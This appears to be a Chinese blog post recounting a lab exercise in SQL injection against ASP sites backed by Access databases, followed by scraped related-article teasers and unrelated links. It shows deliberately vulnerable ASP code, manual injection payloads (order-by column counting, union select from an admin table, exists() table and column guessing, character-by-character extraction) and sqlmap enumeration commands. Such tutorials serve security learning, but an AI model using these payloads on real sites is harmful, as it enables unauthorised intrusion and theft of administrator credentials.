0X01

我们想来了解一下access数据库

Access注入是暴力猜解

Access数据结构(access只有一个数据库)

Access数据库

  表名

    列名

      数据

没有库这个概念 只有表这个概念

这应该就是今天的sql语句

<%
id=request("id")
sql="select * from product where id="&id
set rs=conn.execute(sql)
%>

Set rs = conn.Execute(sql) 意思是说:执行这条SQL语句、并将它保存到记录集里面! 希望可以帮你解决问题
Set 赋值; conn.Execute()执行sql 语句、并返回值

0X02好的有思路之后进行第一步 手工注入

第一步肯定是先判断注入点是否存在注入啊 由于上面 看到语句sql="select * from product where id="&id已经构造闭合了

所以这里就不许要构造闭合

但是我们还是需要照着网上的步骤 因为现实中我们不可能知道源码

1.判断网站是否有注入点。

  在以asp?id=xx(任意数字)结尾的连接依次添加:

  • '
  • 1=
  • 1=

  若以上结果显示"数据库出错","正常显示","数据库出错"则该网站存在注入点。

判断有注入点后我们进行手工注入看看有几个字段

order by 22正确 23错误 好的 那么有22个字段

那我们就可以构造语句

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

看见是3,15的位置是显示的是数据 那么我们后面爆破出来列明后就可以直接 把名字放到3,15的位置上面去了

那我们现在来拆解表名,列名 方法access注入攻击片段-逐字猜解法  //兼容性好,工具一般采用这种方法

构造语句

查表:and exists (select * from 表名) 存在的话就返回正常 不存在就返回不正常

查列:and exists (select 列名 from 表名)

查数据:1.确定长度 2.确定asc数据(asc编码)

1
2
3
4
5
and (select top 1 len(列名) from admin)=5  //=换成<=5也成立,下同
 
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
 
and (select top 1 asc(mid(列名,位数,1)) from admin)=97

  当然这里我们也可以用啊D来跑一下

0X02sqlmap梭哈

先来初步试探 因为不知道DBMS是什么类型的

sqlmap.py -u "www.xxx.xxx" (什么都不加 不知道数据库类型)

这里sqlmap判断出来是acess数据库 问我们是否尝试其他的数据库类型 n 我们不尝试了

那我们它又问我们是否要使用字典爆破表名  点yes 常见的3140个表名挨个的爆破

知道表明了后 直接爆破列名

sqlmap.py -u "www.xxx.xxx" -T “admin" --columns

也会继续用字典进行枚举爆破

今天是第一次接触到access数据库 以前遇见asp的网站的时候 就说为什么单引号报错 双引号也报错 原来asp的sql和php的sql语句都不一样  就一次小小的靶场就收获这么多

感谢卿哥为我们提供一个这么好的环境 受益匪浅

学习不要浮躁 慢慢来

ACCESS数据库注入的更多相关文章

  1. 测试 - 某网站ACCESS数据库注入漏洞

    元宵节 团团圆圆总少不了一篇文  测试是否有注入 测试数据库类型 后面不用注释猜到可能是access 验证一下 这里说一下MySQL和ACCESS以及MSSQL的判断语句 MySQL:and len ...

  2. 尝试Access数据库注入实验

    靶场环境:https://www.mozhe.cn/bug/detail/82 首先http://219.153.49.228:49543/new_list.asp?id=1 order by 4 到 ...

  3. Access+Mssql+Oracle数据库注入

    Access数据库注入 前言:在常见的注入测试中,由于每个数据库内置架构和应用不同,导致数据库类型将决定注入的手法,Access数据库是小型数据库类型,普遍用于小型WEB应用,其中Access注入手法 ...

  4. access数据库之cookie注入

    本来今天想写post注入的,但这几天正好看到chookie的注入的视频.就先写一下这个.大家对于我说的get post cookie注入可能会认为SQL注入就这几种方式.这概念是错的.Get post ...

  5. Access数据库SQL注入(Access SQL Injection)

    一.Microsoft Office Access数据库手工注入语句  1.参数后面加  ’ .and 1=1.and 1=2看返回状态判断是否存在注入点 2.参数后面加 and exists(sel ...

  6. access数据库一般注入方法及偏移注入

    1.access数据库与mysql数据库的差别 access没有数据库,access数据库每个数据都是单个文件,每个access只有表结构 mysql : 库名,表名,列名,字段内容 access:表 ...

  7. ACCESS数据库偏移注入

    偏移注入主要是针对知道表,但是不知道字段的ACCESS数据库. 比如我们已经知道了表名是 admin 判断字段数: http://192.168.74.136:8002/Production/PROD ...

  8. Access数据库及注入方法

    目录 Access数据库 Access数据库中的函数 盲注Access数据库 Sqlmap注入Access数据库 Access数据库 Microsoft Office Access是由微软发布的关系数 ...

  9. SQLMAP注入Access数据库

    今天偶遇一Access数据库 1.首先尝试是否存在注入点,and1=1,and 1=2,发现返回信息不一样 2.使用sqlmap脱裤,发现时Access数据库,不能提权, 3.那就直接暴库吧,sqlm ...

随机推荐

  1. pandas中的数据结构-DataFrame

    pandas中的数据结构-DataFrame DataFrame是什么? 表格型的数据结构 DataFrame 是一个表格型的数据类型,每列值类型可以不同 DataFrame 既有行索引.也有列索引 ...

  2. ctrNet库介绍

    一个神秘网友写的代码库,膜拜,附上下载链接:https://github.com/guoday/ctrNet-tool 似乎是专门为点击率预估写的库??? 收藏,日后慢慢研究

  3. 在(U)EFI环境下重装Grub2

    本文链接:https://blog.csdn.net/ytingone/article/details/59209526 前段时间重装了系统,导致Grub2的引导消失,所以现在需要进行恢复. 首先需要 ...

  4. 优雅的用两种方式爬网络 txt 文件【雾

    TXT 文件?? (笑 这里爬的是 74xsw (咱好像也不怎么逛的网站)的英雄再临 ... 请注意这并不是教程,只是贴个代码仅供参考而已[雾 这里 用的 getTXT 的方式有两种,一种是每个章节分 ...

  5. php文件上传错误信息说明对照表

    php文件上传错误信息说明对照表: UPLOAD_ERR_OK:其值为0,没有错误发生,文件上传成功UPLOAD_ERR_INI_SIZE:其值为1,上传的文件超过了php.ini中upload_ma ...

  6. Gym 101466(完整)

    题目链接 :点击此处 ## Problem A 题意: 给你n个数,重定义两个数之间的加法不进位,求这些数中两个数相加的最大值和最小值. 题解: 字典树.我们首先将前i-1为放入字典树中,然后在查询第 ...

  7. RabbitMQ入门教程(十三):虚拟主机vhost与权限管理

    原文:RabbitMQ入门教程(十三):虚拟主机vhost与权限管理 版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://b ...

  8. Flask运行时指定端口

    在项目入口文件server.php中,有如下代码 if __name__ == '__main__': app.run(debug=True,port=8000) 但是在进入虚拟机中运行 flask ...

  9. Swoole开启守护进程后如何关闭

    查找相应端口号对应的PID(以我的为例,我的是9501端口) netstat -apn | 清除这个进程 启动客户端这时就会报错连不上了,证明服务已关

  10. 在html中展示pdf

    pc端 插件: https://pdfobject.com/ 使用: <!doctype html> <html lang="en"> <head&g ...